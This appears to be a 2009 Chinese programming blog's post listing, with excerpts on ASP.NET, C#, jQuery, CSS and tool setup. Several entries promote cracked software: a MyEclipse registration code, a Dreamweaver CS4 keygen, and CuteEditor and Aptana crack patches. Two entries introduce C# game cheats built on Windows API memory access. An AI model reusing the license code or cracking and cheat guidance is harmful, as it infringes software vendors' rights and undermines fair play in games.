摘要:string saveFileName = ""; bool fileSaved = false; SaveFileDialog saveDialog = new SaveFileDialog(); saveDialog.DefaultExt = "xls"; saveDialog.Filter = "Excel文件|*.xls"; saveDialog.FileName = "Sheet1"; ...
阅读全文
posted @
2009-10-03 05:49
freedom831215
阅读(734)
推荐(0)
GridView快速转换为Execl的方案
摘要:1.由于gridview的内容可能是分页显示的,因此,这里在每次导出excel时,先将gridview的allowpaging属性设置为false,然后databind()一下,确保搂到所有数据; 2.不用单独设置导出的路径,导出时会弹出对话框让你确认保存位置; 3.要写一个空的VerifyRenderingInServerForm方法(必须写),以确认在运行时为指定的ASP.NET 服务器控件呈...
阅读全文
posted @
2009-10-03 05:48
freedom831215
阅读(132)
推荐(0)
C#中计算两个时间的差
摘要:/// summary /// 计算两个日期的时间间隔 /// /summary /// param name="DateTime1"第一个日期和时间/param /// param name="DateTime2"第二个日期和时间/param /// returns/returns private string DateDiff(DateTime DateTime1, DateTime DateTime2) { string dateDiff = null; TimeSpan ts1 = new TimeSpan(DateTime1.Ticks); TimeS
阅读全文
posted @
2009-10-03 05:48
freedom831215
阅读(1012)
推荐(0)
freedom小结
摘要:string js = "<script language=javascript>alert('{0}');window.location.replace('{1}')</script>"; Response.Write(string.Format(js, "帐号已在别处登陆,你将被强迫下线(请保管好自己的用户密码)!", "logout.aspx?cname=noadmin")); return; 后台新窗口打开页面protected void Page_Load(object
阅读全文
posted @
2009-10-03 05:47
freedom831215
阅读(332)
推荐(0)
TreeView递归
摘要:1、首先数据库: f_id 项目ID号 ,f_front 父ID号 ,f_name名称,f_type类型,f_layer所处层,f_order 同层的顺序号;(f_layer,f_order不要也可,这里我主要是需要同层排序才用到) 2、然后“select f_id,f_front,f_name,f_type from data”取得DataSet数据集dsFrame;tr...
阅读全文
posted @
2009-10-03 05:41
freedom831215
阅读(224)
推荐(0)
FileUpload
摘要:protected void Button1_Click(object sender, EventArgs e) { if (FileUpload1.HasFile) { string fileContentType = FileUpload1.PostedFile.ContentType; if (fileContentType == "image/bmp" || fileContentType...
阅读全文
posted @
2009-10-03 05:41
freedom831215
阅读(197)
推荐(0)
生成缩略图
摘要:/**//// <summary> /// 生成缩略图 /// </summary> /// <param name="originalImagePath">源图路径(物理路径)</param> /// <param name="thumbnailPath">缩略图路径(物理路径)</param> /// <param ...
阅读全文
posted @
2009-10-03 05:40
freedom831215
阅读(198)
推荐(0)
生成水印
摘要:/**//// <summary> /// 在图片上增加文字水印 /// </summary> /// <param name="Path">原服务器图片路径</param> /// <param name="Path_sy">生成的带文字水印的图片路径</param> protected void AddShuiYinWor...
阅读全文
posted @
2009-10-03 05:38
freedom831215
阅读(213)
推荐(0)
GridView控件修改示例(修改含有DropDownList控件)
摘要:protected void GridView1_RowEditing(object sender, GridViewEditEventArgs e) { GridView1.EditIndex = e.NewEditIndex; } protected void GridView1_RowCancelingEdit(object sender, GridViewCancelEditEventAr...
阅读全文
posted @
2009-10-03 05:38
freedom831215
阅读(178)
推荐(0)
GridView 的各种用法
摘要:GridView无代码分页排序 GridView选中,编辑,取消,删除 GridView正反双向排序 GridView和下拉菜单DropDownList结合 GridView和CheckBox结合 鼠标移到GridView某一行时改变该行的背景色方法一 鼠标移到GridView某一行时改变该行的背景色方法二 GridView实现删除时弹出确认对话框 GridView实现自动编号 GridView实...
阅读全文
posted @
2009-10-03 05:37
freedom831215
阅读(156)
推荐(0)
雕虫小技--自定义“验证码”控件
摘要:“验证码”在登录的时候,经常用到,如果把“她”封装成控件,是不是很爽呢?但是,我一般不喜欢封装得太厉害的“她”,因为什么都看不到,亦或看起来比较朦胧:) 切入点利用IHttpHandler接口,动态生成验证码图一(直接看效果吧)看代码吧步骤一(新建一类库)Codeusing System;using System.Collec...
阅读全文
posted @
2009-10-03 05:32
freedom831215
阅读(158)
推荐(0)
用JavaScript控制CSS其实很简单
摘要:用JavaScript控制CSS其实很简单,基本上每个DOM对象都有一个style对象,只要把css属性里的"-"去掉,并让随后的字母变为大写就可以作为属性使用了,例如:element.style.backgroundColor="#f00";在css是:选择符 {background-color:#f00} /**接jsp数组 String[] primarykey =request.getPa...
阅读全文
posted @
2009-10-03 05:17
freedom831215
阅读(185)
推荐(0)
两个日期之间相差的天数
摘要:/***************两个日期之间相差的天数*********************** <脚本 type="text/java脚本"> function compute() { var da = "2008-2-24 9:55:22" var da1 = "2008-2-29 7:55:22"var arr=da.split(" "); var arr1=arr[0].s...
阅读全文
posted @
2009-10-03 04:43
freedom831215
阅读(222)
推荐(0)
强烈推荐:240多个jQuery插件
摘要:jQuery 是继 prototype 之后又一个优秀的 Javascript 框架。其宗旨是—写更少的代码,做更多的事情。它是轻量级的 js 库(压缩后只有21k) ,这是其它的 js 库所不及 的,它兼容 CSS3,还兼容各种浏览器(IE 6.0+, FF 1.5+, Safari 2.0+, Opera 9.0+)。 jQuery 是一个快速的,简洁的 javaScript 库,...
阅读全文
posted @
2009-10-03 04:43
freedom831215
阅读(159)
推荐(0)
jQuery性能优化指南
摘要:1,总是从ID选择器开始继承 在jQuery中最快的选择器是ID选择器,因为它直接来自于JavaScript的getElementById()方法。 例如有一段HTML代码: <div id="content"> <form method="post" action="#"> <h2>交通信号灯</h2> <ul id="traffic_lig...
阅读全文
posted @
2009-10-03 04:42
freedom831215
阅读(213)
推荐(0)
jQuery入门第一步
摘要:内容提要 安装Hello jQueryFind me:使用选择器和事件Rate me:使用AJAXAnimate me(让我生动起来):使用FXSort me(将我有序化):使用tablesorter插件(表格排序)Plug me:制作您自己的插件Next steps(下一步) 安装一开始,我们需要一个jQuery的库,最新的下载可以到这里找到。这个指南提供一个基本包含实例的包供下载. 下载:jQ...
阅读全文
posted @
2009-10-03 04:40
freedom831215
阅读(193)
推荐(0)
jQuery技巧大集合
摘要:我这里整理出来一些,jQuery日常开发的一些技巧,非常有用,供大家参考。 1、关于页面元素的引用 通过jQuery的$()引用元素包括通过id、class、元素名以及元素的层级关系及dom或者xpath条件等方法,且返回的对象为jQuery对象(集合对象),不能直接调用dom定义的方法。 2、jQuery对象与dom对象的转换 只有jQuery对象才能使用jQuery定义的方法。注意dom对象和...
阅读全文
posted @
2009-10-03 04:40
freedom831215
阅读(180)
推荐(0)
写给设计人的10个jQuery特效
摘要:jQuery已经不是什么新鲜的事儿,记得第一次听说是在catch the digital flow上。总把它认为是非常难的东西,也就没有认真去了解他了。直到学完CSS的大部分内容,才开始接触这种"write less, do more" 的Javascrīpt框架。今天,这篇文章的最重要内容是来自Web Designer Wall的一篇教程,一篇包含了10个jQuery特效的教程。这里不打算全文翻...
阅读全文
posted @
2009-10-03 04:39
freedom831215
阅读(150)
推荐(0)
jQuery技巧大放送
摘要:jquery技巧总结一、简介1.1、概述随着WEB2.0及ajax思想在互联网上的快速发展传播,陆续出现了一些优秀的Js框架,其中比较著名的有Prototype、YUI、jQuery、mootools、Bindows以及国内的JSVM框架等,通过将这些JS框架应用到我们的项目中能够使程序员从设计和书写繁杂的JS应用中解脱出来,将关注点转向功能需求而非实现细节上,从而提高项目的开发速度。jQuery...
阅读全文
posted @
2009-10-03 04:38
freedom831215
阅读(155)
推荐(0)
弹出窗口大全
摘要:【1、最基本的弹出窗口代码】其实代码非常简单:<SCRIPT LANGUAGE="javascript"><!--window.open ('page.html')--></SCRIPT>因为着是一段javascripts代码,所以它们应该放在<SCRIPT LANGUAGE="javascript">标签和</script>之间。<...
阅读全文
posted @
2009-10-03 04:38
freedom831215
阅读(248)
推荐(0)
JavaScript教程--从入门到精通
摘要:JavaScript是由Netscape公司开发并随Navigator导航者一起发布的、介于Java与HTML之间、基于对象事件驱动的编程语言,正日益受到全球的关注。因它的开发环境简单,不需要Java编译器,而是直接运行在Web浏览器中,而因倍受Web设计者的所爱。 这一套JavaScript教程分九个章节从什么是JavaScript、JavaScript的简单应用一直介绍到如何用JavaSc...
阅读全文
posted @
2009-10-03 04:37
freedom831215
阅读(641)
推荐(0)
JavaScript的一些实用技巧
摘要:1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键<table border oncontextmenu=return(false)><td>no</table> 可用于Table 2. <body onselectstart="return false"> 取消选取、防止复制3. ...
阅读全文
posted @
2009-10-03 04:33
freedom831215
阅读(157)
推荐(0)
Jquery插件EasyDrag一行代码实现拖动效果
摘要:写JS实现拖动需要一大堆不便维护的代码,实属麻烦,Google了大半天,发现了一个优秀的Jquery插件EasyDrag,只需要一行代码便可轻松在主流浏览器上 实现拖动效果. $(document).ready( function() { $("#divPanel").easydrag(); } ); HTML 代码 <div id="divPanel" style="width...
阅读全文
posted @
2009-10-03 04:32
freedom831215
阅读(350)
推荐(0)
屏蔽鼠标左右键
摘要:修改<body>标签,加入onContextMenu="return false" onSelectStart="return false"。 例如,把<body bgColor="#FFFFFF">改为<body bgColor="#FFFFFF" onContextMenu="return false" onSelectStart="return false"&g...
阅读全文
posted @
2009-10-03 04:32
freedom831215
阅读(175)
推荐(0)
让DIV的滚动条自动滚动到最底部
摘要:要制作一个在线聊天的程序,在做最后的修饰时,需要对获得的信息即时滚动以保证用户总能看到最新消息。 聊天程序是基于AJAX设计的,没有用框架,消息容器是一个DIV,所以问题就在于如何控制DIV的滚动条。 网上有资料介绍说通过设置scrollTop属性来控制滚动条位置,具体可参见: http://hi.baidu.com/chen1345789/blog/item/de727bfb45587b176d...
阅读全文
posted @
2009-10-03 04:31
freedom831215
阅读(1994)
推荐(0)
CSS串联样式表教学『连结属性一览』
摘要:· a /*所有超级链接*/ · a:link /*超级链接文字格式*/ · a:visited /*浏览过的连结文字格式*/ · a:active /*按下连结的格式*/ · a:hover /*鼠标移至连结*/ · 鼠标光标样式: · 十字型 cursor:crosshair · 箭头朝下 cursor:s-res...
阅读全文
posted @
2009-10-03 04:31
freedom831215
阅读(356)
推荐(0)
表格特效代码全集中
摘要:1. 两种细线表格做法 <table width="100%" border="1" bordercolor="#000000"> <tr bordercolor="#FFFFFF"> <td>表格边线为1,线色为黑,行线色为白。</td> </tr> </table> <p> <table width="1...
阅读全文
posted @
2009-10-03 04:30
freedom831215
阅读(176)
推荐(0)
关于CSS兼容性的问题
摘要:关于CSS兼容性的问题 上次在坛子提了一个针对各个浏览器CSS应该注意什么,郁闷,后来没有人整理,自己就埋头查了一查资料!自己整理上来,希望对大家有帮助: CSS兼容要点分析: IE vs FF CSS 兼容要点: DOCTYPE 影响 CSS 处理 FF: div 设置 margin-left, margin-right 为 auto 时已经居中, IE 不行 FF: body 设置 text-...
阅读全文
posted @
2009-10-03 04:29
freedom831215
阅读(153)
推荐(0)
javascript函数库
摘要:trim函数: trim() lTrim() rTrim() 校验字符串是否为空: checkIsNotEmpty(str) 校验字符串是否为整型: checkIsInteger(str) 校验整型最小值:checkIntegerMinValue(str,val) 校验整型最大值:checkIntegerMaxValue(str,val) 校验整型是否为非负数: isNotNegativeInte...
阅读全文
posted @
2009-10-03 04:29
freedom831215
阅读(153)
推荐(0)
javaScript函数中执行C#代码中的函数:
摘要:1.如何在JavaScript访问C#函数? 2.如何在JavaScript访问C#变量? 3.如何在C#中访问JavaScript的已有变量? 4.如何在C#中访问JavaScript函数?问题1答案如下: javaScript函数中执行C#代码中的函数: 方法一:1、首先建立一个按钮,在后台将调用或处理的内容写入button_click中; 2、在前台写一个js函数,内容为document.g...
阅读全文
posted @
2009-10-03 04:28
freedom831215
阅读(562)
推荐(0)
完全图解scrollLeft,scrollWidth,clientWidth,offsetWidth
摘要:scrollHeight: 获取对象的滚动高度。scrollLeft:设置或获取位于对象左边界和窗口中目前可见内容的最左端之间的距离scrollTop:设置或获取位于对象最顶端和窗口中可见内容的最顶端之间的距离scrollWidth:获取对象的滚动宽度offsetHeight:获取对象相对于版面或由父坐标 offsetParent 属性指定的父坐标的高度offsetLeft:获取对象相对于版面或由...
阅读全文
posted @
2009-10-03 04:28
freedom831215
阅读(330)
推荐(0)
javascript实现图片轮换效果
摘要:如何实现图片的轮换效果 解决思路: 图片轮换的图片文件名通常是有规律的序列,比如说是从1到N,然后设置定时器,每隔一段时间换一张图片,图片文件名作为一个自加变量,在轮换完后再从头开始。另外在任意两张图片的轮换时还会有一些转换的过渡效果,这个主要依靠转换滤镜来实现。 具体步骤: 方法一:图片轮换时利用revealTrans滤镜产生转换效果: <img src="face/face1.gif" id="turn" width="200" style="filter:revealTrans(duration=1)"
阅读全文
posted @
2009-10-03 04:27
freedom831215
阅读(809)
推荐(0)
JavaScript,定位,浮动,提示,tooltips,FixedTips,Tip
摘要:程序说明 【Tip对象】 Tip对象就是用来显示提示信息的容器,程序用Tip属性表示。这个没什么要求,程序初始化时会对它进行一些设置。 首先进行下面设置: Code this._cssTip.margin = 0; this._cssTip.position = "absolute"; this._cssTip.visibility = "hidden"; this._cssTip.display...
阅读全文
posted @
2009-10-03 04:27
freedom831215
阅读(463)
推荐(0)
关于符合WEB标准的滚动文字特效的实现方法
摘要://横向滚动 var speed=10; div2.innerHTML=div1.innerHTML; function Marquee() { if(div2.offsetWidth-div.scrollLeft==div.offsetWidth) { div.scrollLeft=0; } else{ ...
阅读全文
posted @
2009-10-03 04:26
freedom831215
阅读(173)
推荐(0)
对offsetLet,offsetTop,scrollLeft,scrollTop几个方法的理解
摘要:一直以来对offsetLeft,offsetTop,scrollLeft,scrollTop这几个方法很迷糊,花了一天的时间好好的学习了一下.得出了以下的结果: 1.offsetTop : 当前对象到其上级层顶部的距离. 不能对其进行赋值.设置对象到页面顶部的距离请用style.top属性. 2.offsetLeft: 当前对象到其上级层左边的距离. 不能对其进行赋值.设置对象到页面左部的距离请用...
阅读全文
posted @
2009-10-03 04:26
freedom831215
阅读(228)
推荐(0)
母版页引用外部文件的路径问题
摘要:在母版页中引用的外部文件不外乎css 和js 文件, css文件比较简单, 因为它的路径是相对于母版页的位置而言的, 而js 则不然, 它是相对于内容页而言的. 举个例子, 有下面的文件树: root |_master.master |_content1.aspx |_js1.js |_folder1 |_content2.aspx 在应用程序的根下面, 有一个母版页master.master,...
阅读全文
posted @
2009-10-03 04:19
freedom831215
阅读(247)
推荐(0)
JavaScript从HTML Table中取得某单元格Cell中的数据
摘要:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title...
阅读全文
posted @
2009-10-03 04:19
freedom831215
阅读(1165)
推荐(0)
javaScript控制文本框只能输入数字
摘要:onKeyUp="this.value=this.value.replace(/[^0-9.]/g,'')"
阅读全文
posted @
2009-10-03 04:17
freedom831215
阅读(165)
推荐(0)
CSS自动隐藏多余文字(包括连续的英文)
摘要:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta htt...
阅读全文
posted @
2009-10-03 03:43
freedom831215
阅读(506)
推荐(0)
返回网页头部
摘要://** jQuery Scroll to Top Control script- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com/.//** Available/ usage terms at http://www.dynamicdrive.com/ (March 30th, 09')//** v1.1 (Apr...
阅读全文
posted @
2009-10-03 03:42
freedom831215
阅读(185)
推荐(0)
通过FileSystemObject在网页中操作本地文件
摘要:Javascript是网页制作中离不开的脚本语言,依靠它,一个网页的内容才生动活泼、富有朝气。但也许你还没有发现并应用它的一些更高级的功能吧?比如,对文件和文件夹进行读、写和删除,就象在VB、VC等高级语言中经常做的工作一样。怎么样,你是否需要了解这方面的知识?那就请跟我来,本文将详细描述如何使用Javascript语言进行文件操作。 一、功能实现核心:FileSystemObject 对象 其实...
阅读全文
posted @
2009-10-03 03:42
freedom831215
阅读(391)
推荐(0)
系统启动和运行速度
摘要:在WinXP操作系统中,有将近90个服务,默认开启了30多个服务,而事实上我们只需要其中几个就够用了。禁止所有不必要的服务可以为您节省很多的内存和大量系统资源。不过,由于默认安装完Windows XP后,系统会自动开启很多服务,其中不少对于普通用户根本用不到或暂时用不到,反而浪费了相当多的内存和系统资源,影响了系统启动和运行的速度。通过修改相关参数,我们可以获得不少性能提升。在 “开始...
阅读全文
posted @
2009-10-03 03:17
freedom831215
阅读(159)
推荐(0)
CuteEditor 6.0破解版
摘要:一个超级强悍的再线编辑器! 一篇比较好的文章: CuteEditor 6.0的安装及它与Ajax.net配合无刷新操作数据库! 优点:配置简单,功能强大 其他在线编辑器:FCKeditor,WebHtmlEditor ,FTB,RichTextBox CuteEditor是一款功能非常强大,支持图片上传、文件下载和word类似的文字编辑器。并且Vs2003和Vs2005都可以适用。对于新闻发布系...
阅读全文
posted @
2009-10-03 03:17
freedom831215
阅读(1614)
推荐(0)
关于vs2008设计视图假死的原因及解决方案总结
摘要:前些天从微软官网(中国)下载了vs2008的90天试用版,安装很顺利。但使用时发现,从源视图向设计视图切换时,界面出现了假死现象,重装后亦无效。我从网上搜索原因,发现很多朋友都有类似的问题,但解决方案各异,原因更是众说纷纭。下面我就我所看到的和我的切身经历,对vs2008设计视图假死的原因及解决方案总结如下。 在这之前先说明下,有些朋友出现此类问题,其实并不是假死,或是源代码的错误,或是内存过低反...
阅读全文
posted @
2009-10-03 03:16
freedom831215
阅读(316)
推荐(0)
Adobe Photoshop CS4 11.0.1 Extended 简体中文绿色版
摘要:Adobe PhotoshopCS4 Extended 软件提供 Photoshop CS4 中的所有功能, 以及用于处理 3D 肖像、基于动画的内容和高级图像分析的新增功能。Adobe® Photoshop® CS4 11.0.1官方简体中文绿色版解压运行@Adobe Photoshop CS4绿化工具.exe进行绿化假如安装有其他PS版本的。可能要输入key.....
阅读全文
posted @
2009-10-03 03:16
freedom831215
阅读(573)
推荐(0)
MyEclipse7.0~7.1下载 + 汉化 + doc 汉化(最新的)
摘要:点击下载MyEclipse7.0M1下载MyEclipse7.0M2注册码:Subscriber: www.1cn.bizSubscription Code: jLR8ZC-655444-65526656052107345填写注册码时,最好拔掉网线!!!MyEclipse 7.0 汉化(1)首先打开MyEclipse7.0 (2)然后选择Help → Software Updates....
阅读全文
posted @
2009-10-03 03:15
freedom831215
阅读(771)
推荐(0)
Adobe Dreamweaver cs4 破解安装方法
摘要:相信应该有很多朋友也碰到我这样的问题.把Adobe dreamweaver cs4正版从网上下载下来.在网上找个注册码填写后.用几天就要重新输入注册码. 先提供个Adobe dreamweaver cs4 注册机给大家:Adobe dreamweaver cs4 注册机 解决下燃眉之急.用上面下载的注册机注册后.过几天后还是要重新输入注册码.有没有完美的解决方法呢其实.咱们想一下原理.无非就是软件...
阅读全文
posted @
2009-10-03 03:15
freedom831215
阅读(870)
推荐(0)
Windows Live Mail的设置方法
摘要:这里只介绍网易邮箱的设置方法,其他邮箱的设置请进:http://www.suxi925.cn/pic/Diary.asp?ID=103 由于网易邮箱(126、163)和雅虎邮箱已经关闭免费邮箱的outlook功能,所以如果还想用outlook发邮件的朋友还是换成wlm吧,个人觉得比outlook要好。 Windows Live Mail 是微软新出的一个免费的邮件客户端,是 Live! 三套件...
阅读全文
posted @
2009-10-03 03:14
freedom831215
阅读(1731)
推荐(0)
C盘空间越来越小怎么办,教你27招
摘要:现在的软件大部分采用标准的Windows安装模式,用户只需双击Setup.exe文件即可轻松安装。不过,这样的安装方式也有一个弊病:很多程序在默认情况下都会安装到操作系统所在分区(绝大多数用户选择了C盘),因此过一段时间后,C盘的可用空间必然越来越小。也许在不知不觉中,你发现C盘只有几百兆甚至只有几十兆了!重新对硬盘进行分区和格式化固然可以,但操作起来太麻烦,而且会有诸多限制。大多数用户所希望的,...
阅读全文
posted @
2009-10-03 03:14
freedom831215
阅读(379)
推荐(0)
ISS配置
摘要:开始>运行>cmd>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -ihttp://blog.csdn.net/lic300/relatedarticles/390003.aspx查看原文: 为.Net配置IIS aspx映射 [相关Blog文章]IIS目录管理 2004-12-11 xu...
阅读全文
posted @
2009-10-03 03:13
freedom831215
阅读(430)
推荐(0)
Ajax Control Toolkit 控件包 可以是说 == 超炫动态效果 !!
摘要:1.下载: 下载地址:http://www.codeplex.com/AtlasControlToolkit/Release/ProjectReleases.aspx打开网址后找到这些:[url=javascript:__doPostBack('ctl00$ctl00$Content$TabContentPanel$Content$ReleaseFiles$FileList$ctl00$FileN...
阅读全文
posted @
2009-10-03 03:13
freedom831215
阅读(308)
推荐(0)
VS2008,Silverlight的安装过程
摘要:发现Silverlight做出来的东西确实好看,挺想学学的!于是最近心血来潮,不管空闲时间的多与少,先见识见识再说! 毕竟是第一次使用,连VS2008也是,第一次安装确实遇到了点问题。经过努力想办法后还是轻松的解决了,接下来可以好好见识见识了! 安装步骤其实很简单,现简单的描述一下: 1、安装VS2008,我安装的是Microsoft Visual Studio 2008 9.0.21.22.8...
阅读全文
posted @
2009-10-03 03:08
freedom831215
阅读(264)
推荐(0)
Aptana /spket 破解补丁:本人鼎力打造,界面美观,使用方便,一“丁”多用
摘要:各注册机注册失败解决办法:http://www.eclipseworld.org/bbs/read-cec-tid-20174.htmlWindowBuilder Pro注册机使用教程及下载地址:http://www.eclipseworld.org/bbs/read-cec-tid-20034.html CodePro AnalytiX 注册机使用教程及下载地址: http://www.ecl...
阅读全文
posted @
2009-10-03 03:07
freedom831215
阅读(439)
推荐(0)
Photoshop快捷键
摘要:Photoshop快捷键: 1.使用快捷键快速操作. F1 -帮助 F2 -剪切 F3 -拷贝 F4-粘贴 F5-隐藏/显示画笔面板 F6-隐藏/显示颜色面板 F7-隐藏/显示图层面板 F8-隐藏/显示信息面板 F9-隐藏/显示动作面板 F12-恢复 Shift+f5-填充 Shift+f6-羽化 Shift+f7-选择→反选 ctrl+h-隐藏选定区域 ctrl+d-取消选定区域 c...
阅读全文
posted @
2009-10-03 03:06
freedom831215
阅读(299)
推荐(0)
分享Aptana开发EXTJS和jQuery的插件
摘要:它采用.jsb project file 文件并将继承于基类和所有文档的内容嵌入到生成代码提示的Script doc中。1.下载安装包含有Eclipse的Aptana Studio;2.启动Aptana,然后菜单:Help → Software Updates → Find and Install… → Search for new features...
阅读全文
posted @
2009-10-03 03:05
freedom831215
阅读(324)
推荐(0)
JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download
摘要:JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download/jdk6/6u10/promoted/b32/binaries/jdk-6u10-rc2-bin-b32-windows-i586-p-12_sep_2008.exeJDK6 API CHM中文参考下载:JDK6API中文参考070114.rar :http://chinesedocument.c...
阅读全文
posted @
2009-10-03 03:05
freedom831215
阅读(461)
推荐(0)
及时清理日志文件
摘要:Windows 2000/XP的日志文件比较容易被用户忽视。其实当我们每次开关机、运行程序、系统报错时,这些信息都会被记录下来,保存在日志文件中。但日志文件会随着时间的增长越来越大,从而影响了系统启动速度。我们可以自己指定日志文件的大小及处理方式: 进入“开始→设置→控制面板→管理工具”,双击“事件查看器”或是单击...
阅读全文
posted @
2009-10-03 03:04
freedom831215
阅读(186)
推荐(0)
常用Eclipse插件的下载或者update地址
摘要:JSEclipse http://download.macromedia.com/pub/labs/jseclipse/autoinstall spket http://www.spket.com/update/ Aptana http://update.aptana.com/update/studio/3.4/RDT 基于Eclipse的ruby开发插件:http://updatesite.ru...
阅读全文
posted @
2009-10-03 03:04
freedom831215
阅读(430)
推荐(0)
SQL Server 2005混合模式登录配置
摘要:在VS2005装完后,会自带SQL Server2005 express版,为了便于管理,还需要安装一个企业管理器,需要下载 Microsoft SQL Server Management Studio Express(下载名:SQLServer2005_SSMSEE.msi)。因为默认的是只能用windows系统登录模式登录,如果要用混合模式登录则需要进行如下配置:1:开启SQL2005远程连接...
阅读全文
posted @
2009-10-03 03:03
freedom831215
阅读(606)
推荐(0)
vss2005 的使用管理
摘要:7.2 版本控制工具VSS在开发过程,为了控制开发错误以及不同时期代码的管理,通常使用版本控制工具。本小节主要介绍Microsoft提供的版本控制工具VSS(Visual SourceSafe)。VSS可以详细记录源代码从开发到发布期间所有的修改和版本信息,并使用签入签出控制一个代码文件一次只能由一个程序员修改,这就保证了源代码的安全性和准确性。本例使用Microsoft提供的最新版本VSS200...
阅读全文
posted @
2009-10-03 02:53
freedom831215
阅读(363)
推荐(0)
让VS2008为ExtJS提供智能提示
摘要:方法一:下载智能提示所需的Extjs_Intellisense.js文件 第一步:先点击这里去下载智能提示所需的Extjs_Intellisense.js文件。 第二步:打开ext-base.js文件,在源代码的第一行添加window.addEventListener = false;这行代码。 第三步:在你自己需要编写ExtJS代码的js文件中引用3个文件,且ext-base.js和ext-a...
阅读全文
posted @
2009-10-03 02:52
freedom831215
阅读(262)
推荐(0)
虚拟内存设置调整图解
摘要:如果Windows操作系统和应用程序需要的内存数量超过了计算机中安装的物理内存数量,操作系统就会暂时将不需要访问的数据通过一种叫做“分页”的操作写入到硬盘上一个特殊的文件中,从而给需要立刻使用内存的程序和数据释放内存,这个位于硬盘上的特殊文件就是分页文件(也就是虚拟内存文件,或叫做交换文件,Windows 2000/XP/2003中的分页文件名为pagefile .sys是...
阅读全文
posted @
2009-10-03 02:51
freedom831215
阅读(294)
推荐(0)
Fiddler工具使用说明
摘要:这个工具我已经使用比较长时间了,对我的帮助也挺大,今天我翻译的微软的文章,让更多的朋友都来了解这个不错的工具,也是我第一次翻译文章,不恰当之处请大家大家多多指正。 介绍: 你是不是曾经疑惑过你的web程序和IE是如何交互的?你是不是遇到过一些奇怪的而你又无法解决的性能瓶颈?你是不是对那些发送给服务器端的cookie 和那些你下载下来的被标记为可缓存的内容感到好奇? Fiddler官方网站及下载地址...
阅读全文
posted @
2009-10-03 02:51
freedom831215
阅读(390)
推荐(0)
vb.net与c#相互转换工具(downmoon)
摘要:vb.net与c#相互转换工具(downmoon) http://www.ragingsmurf.com/vbcsharpconverter.aspx http://csharpconverter.claritycon.com/Default.aspx http://www.kamalpatel.net/ConvertCSharp2VB.aspx http://www.developerfusio...
阅读全文
posted @
2009-10-03 02:50
freedom831215
阅读(177)
推荐(0)
设置MyEclipse类名变色
摘要:Window-->Preferences-->Java-->Editor-->Syntax Coloring右边-->Element:Java-->Classes
阅读全文
posted @
2009-10-03 02:50
freedom831215
阅读(244)
推荐(0)
ResourceBundle Editor
摘要:ResourceBundle Editor是一个用于编辑本地化的属性文件(localized properties files)。它让你通一个屏幕就能够同时管理所有相关联属性文件中的key/value信息。它所具有的功能包括:自动为Keys分类,能够提示丢失掉 的,重复的,相似的values等.1、下载ResourceBundle Editor插件。只要你是Eclipse 3.x 则可以下载0.7...
阅读全文
posted @
2009-10-03 02:49
freedom831215
阅读(389)
推荐(0)
sqlserver2008安装图解
摘要:SQL Server 2008是一个重大的产品版本,它推出了许多新的特性和关键的改进,使得它成为至今为止的最强大和最全面的SQL Server版本。 在现今数据的世界里,公司要获得成功和不断发展,他们需要定位主要的数据趋势的愿景。微软的这个数据平台愿景帮助公司满足这些数据爆炸和下一代数据驱动应用程序的需求。微软将继续投入和发展以下的关键领域来支持他们的数据平台愿景:关键任务企业数据平台、动态开发...
阅读全文
posted @
2009-10-03 02:45
freedom831215
阅读(372)
推荐(0)
SQL Server 2008 安装过程中遇到“性能计数器注册表配置单元一致性”检查失败 问题的解决方法
摘要:在Windows Server 2003 、Windows XP或者Windows 2000中安装 SQL SERVER 2008 开发版和企业版时,会遇到“性能计数器注册表配置单元一致性”检查失败 的问题(Windows Server 2008 由于暂时没有环境,尚未测试)(图一)安装提示错误信息为:(图二)解决方法:先根据帮助提示,打开 http://support.m...
阅读全文
posted @
2009-10-03 02:44
freedom831215
阅读(365)
推荐(0)
多语言网站配置
摘要:一、支持asp.net (1)安装.NET Framework 双击dotnetfx.exe,也是一路Next就行了 (2)安装mod_aspdotnet 在安装mod_aspdotnet之前一定要先安装好Apache和.NET Framework。 双击mod_aspdotnet-2.0.0.msi,选择同意条款,点Next;选择All Users单选框,一路Next就行了。 (3)配置http...
阅读全文
posted @
2009-10-03 02:44
freedom831215
阅读(309)
推荐(0)
Office 2007 添加右键“新建”快捷方式
摘要:早上,公司同事新装了Office 2007,结果发现没有右键新建Excel、word等快捷方式,使用起来非常不方便。在网上查了一下,只找到Office 2003的方法,可是不知道2007的参数值,于是在自己的笔记本中的注册表HKEY-CLASSES-ROOT中找到对应的文件后缀名选项,导出到桌面,另存为.reg的文件,传给同事,直接点击运行,在弹出的对话框中选择“确定”,注...
阅读全文
posted @
2009-10-03 02:33
freedom831215
阅读(1305)
推荐(0)
C#程序中控制Windows的任务栏
摘要:如果你要在你的C#程序中控制Windows的任务栏,有两个Windows api 可以帮到你!他们就是FindWindowA 和 ShowWindow C#中声明如下: using System.Runtime.InteropServices; [DllImport("user32.dll", EntryPoint = "FindWindowA")] public static extern In...
阅读全文
posted @
2009-10-03 02:32
freedom831215
阅读(574)
推荐(0)
.net-c# 获取机器码
摘要:using System.Runtime.InteropServices; using System.Management; using System; public class HardwareInfo { //取机器名 public string GetHostName() { return System.Net.Dns.GetHostName(); } //取CPU编号 public Str...
阅读全文
posted @
2009-10-03 02:32
freedom831215
阅读(723)
推荐(0)
C#做游戏外挂
摘要:第一课:C#使用WINDOW API和对内存的操作。 这一课是些简单的东西,了解的可以直接越过。考虑到大多数使用c#的人都是做网站的,可能没有机会接触这些,所以我在这里做一下粗略的介绍。 step 1:认识WINAPI windows系统里提供了很多的函数,我们如果做外挂的话,就需要用到其中的函数(以下简称API)。(废话:这些API被封装在系统路径下的DLL文件里。事实上,我们不用关心它在哪,我...
阅读全文
posted @
2009-10-03 02:31
freedom831215
阅读(1748)
推荐(0)
C#简单游戏外挂制作(以Warcraft Ⅲ为例)
